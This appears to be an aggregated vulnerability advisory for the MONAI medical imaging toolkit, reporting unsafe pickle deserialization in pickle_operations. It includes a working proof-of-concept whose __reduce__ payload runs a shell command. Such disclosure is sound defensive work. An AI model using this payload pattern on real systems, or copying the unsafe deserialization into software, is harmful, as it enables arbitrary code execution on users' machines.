MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, the `pickle_operations` function in `monai/data/utils.py` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using `pickle.loads()` . This function also lacks any security measures. The deserialization may lead to code execution. As of time of publication, no known fixed versions are available.

Affected: PyPI: monai

>To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

### Summary The ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur. ``` #Poc from monai.data.utils import pickle_operations

import pickle import subprocess class MaliciousPayload: def __reduce__(self): return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) malicious_data = pickle.dumps(MaliciousPayload())

attack_data = { 'image': 'normal_image_data', 'label_transforms': malicious_data, 'metadata_transforms': malicious_data }

result = pickle_operations(attack_data, is_encode=False) ```

``` #My /tmp directory contents before running the POC root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid ``` Before running the command, there was no hacker1.txt content…

Affected: PyPI: monai

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, the `pickle_operations` function in `monai/data/utils.py` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using `pickle.loads()` . This function also lacks any security measures. The deserialization may lead to code execution. As of time of publication, no known fixed versions are available.